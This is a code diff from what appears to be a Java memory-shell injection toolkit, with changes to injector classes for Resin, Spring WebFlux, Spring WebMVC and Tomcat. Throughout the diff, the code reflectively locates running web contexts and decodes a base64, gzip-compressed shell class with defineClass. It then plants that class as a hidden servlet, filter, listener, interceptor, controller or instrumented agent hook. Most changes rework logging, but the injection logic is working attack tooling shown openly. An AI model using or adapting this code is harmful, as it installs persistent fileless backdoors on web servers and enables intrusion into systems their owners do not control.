Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -66,29 +96,34 @@ public class ResinListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object listener) throws Exception { private void inject(Object context, Object listener) throws Exception {
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners"); List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().contains(getClassName())) { if (o.getClass().getName().contains(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存否则某些 uri 无法连接 // 清除缓存否则某些 uri 无法连接
invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
System.out.println("listener injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -136,7 +171,7 @@ public class ResinListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -165,4 +200,19 @@ public class ResinListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ResinServletInjector { public class ResinServletInjector {
public ResinServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,6 +29,45 @@ public class ResinServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ResinServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += "context: [" + getContextRoot(context) + "] ";
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -64,21 +94,25 @@ public class ResinServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object servlet) throws Exception { private void inject(Object context, Object servlet) throws Exception {
if (isInjected(context)) { Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
System.out.println("servlet already injected"); for (String key : servlets.keySet()) {
return; if (key.contains(getClassName())) {
return;
}
} }
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
Object servletMapping = servletMappingClass.newInstance(); Object servletMapping = servletMappingClass.newInstance();
@@ -86,18 +120,11 @@ public class ResinServletInjector {
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
System.out.println("servlet injected success");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); return msg;
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -145,7 +172,7 @@ public class ResinServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -174,4 +201,19 @@ public class ResinServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebFluxHandlerFunctionInjector { public class SpringWebFluxHandlerFunctionInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector {
} }
public SpringWebFluxHandlerFunctionInjector() { public SpringWebFluxHandlerFunctionInjector() {
Object webHandler = null;
try { try {
Object webHandler = getWebHandler(); webHandler = getWebHandler();
Object functionObj = getShell(); Object shell = getShell();
inject(webHandler, functionObj); inject(webHandler, shell);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
@@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -32,7 +32,7 @@ public class SpringWebFluxWebFilterInjector {
public SpringWebFluxWebFilterInjector() { public SpringWebFluxWebFilterInjector() {
try { try {
FilteringWebHandler webHandler = getWebHandler(); FilteringWebHandler webHandler = getWebHandler();
Object filter = getShell(); Object filter = getShell(webHandler);
inject(webHandler, filter); inject(webHandler, filter);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -52,19 +52,18 @@ public class SpringWebFluxWebFilterInjector {
return null; return null;
} }
private Object getShell() throws Exception { @SuppressWarnings("all")
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); private Object getShell(Object context) throws Exception {
Object interceptor = null; ClassLoader classLoader = context.getClass().getClassLoader();
try { try {
interceptor = classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance(); return clazz.newInstance();
} }
return interceptor;
} }
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception { public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
@@ -117,6 +116,6 @@ public class SpringWebFluxWebFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcControllerHandlerInjector { public class SpringWebMvcControllerHandlerInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -29,48 +31,38 @@ public class SpringWebMvcControllerHandlerInjector {
} }
public SpringWebMvcControllerHandlerInjector() { public SpringWebMvcControllerHandlerInjector() {
Object context = null;
try { try {
Object context = getContext(); context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) { } catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext"); msg += "context error: " + getErrorMessage(e);
} }
try {
Object shell = getShell();
msg += "context: [" + context + "] ";
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
System.out.println(msg);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { public Object getContext() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try { try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest"); Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession"); return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
} Object applicationContext = applicationContexts.iterator().next();
if (context == null) { if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
try { return applicationContext;
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
} }
} }
return context; return null;
} }
private Object getShell() throws Exception { private Object getShell() throws Exception {
@@ -99,11 +91,14 @@ public class SpringWebMvcControllerHandlerInjector {
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass}); Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap"); Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
if (handlerMap.get(getUrlPattern()) != null) { if (handlerMap.get(getUrlPattern()) != null) {
System.out.println("controller already injected");
return; return;
} }
handlerMap.put(getUrlPattern(), controller); handlerMap.put(getUrlPattern(), controller);
System.out.println("controller injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -183,7 +178,7 @@ public class SpringWebMvcControllerHandlerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -197,4 +192,19 @@ public class SpringWebMvcControllerHandlerInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
} }
} }
} }
@@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcInterceptorInjector { public class SpringWebMvcInterceptorInjector {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -25,50 +27,41 @@ public class SpringWebMvcInterceptorInjector {
} }
public SpringWebMvcInterceptorInjector() { public SpringWebMvcInterceptorInjector() {
Object context = null;
try { try {
Object context = getContext(); context = getContext();
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try {
return classLoader.loadClass("javax.servlet.ServletContext");
} catch (Throwable e) { } catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext"); msg += "context error: " + getErrorMessage(e);
} }
try {
Object shell = getShell();
msg += "context: [" + context + "] ";
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
System.out.println(msg);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { public Object getContext() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try { try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest"); Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession"); return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
} Object applicationContext = applicationContexts.iterator().next();
if (context == null) { if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
try { return applicationContext;
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
} }
} }
return context; return null;
} }
@SuppressWarnings("all")
private Object getShell() throws Exception { private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null; Object interceptor = null;
@@ -90,12 +83,15 @@ public class SpringWebMvcInterceptorInjector {
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
for (Object adaptedInterceptor : adaptedInterceptors) { for (Object adaptedInterceptor : adaptedInterceptors) {
if (adaptedInterceptor.getClass().getName().equals(getClassName())) { if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
System.out.println("interceptor already injected");
return; return;
} }
} }
adaptedInterceptors.add(interceptor); adaptedInterceptors.add(interceptor);
System.out.println("interceptor injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -175,7 +171,7 @@ public class SpringWebMvcInterceptorInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -189,4 +185,19 @@ public class SpringWebMvcInterceptorInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -33,7 +33,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
} }
} }
} }
@@ -53,6 +52,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -33,7 +33,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -53,6 +52,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -13,15 +14,51 @@ import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class TomcatFilterInjector { public class TomcatFilterInjector {
private String msg = "";
public TomcatFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -34,18 +71,6 @@ public class TomcatFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object shell = getShell(context);
inject(context, shell);
}
} catch (Exception e) {
e.printStackTrace();
}
}
/** /**
* org.apache.catalina.core.StandardContext * org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar * /usr/local/tomcat/server/lib/catalina.jar
@@ -80,22 +105,23 @@ public class TomcatFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception { public void inject(Object context, Object shell) throws Exception {
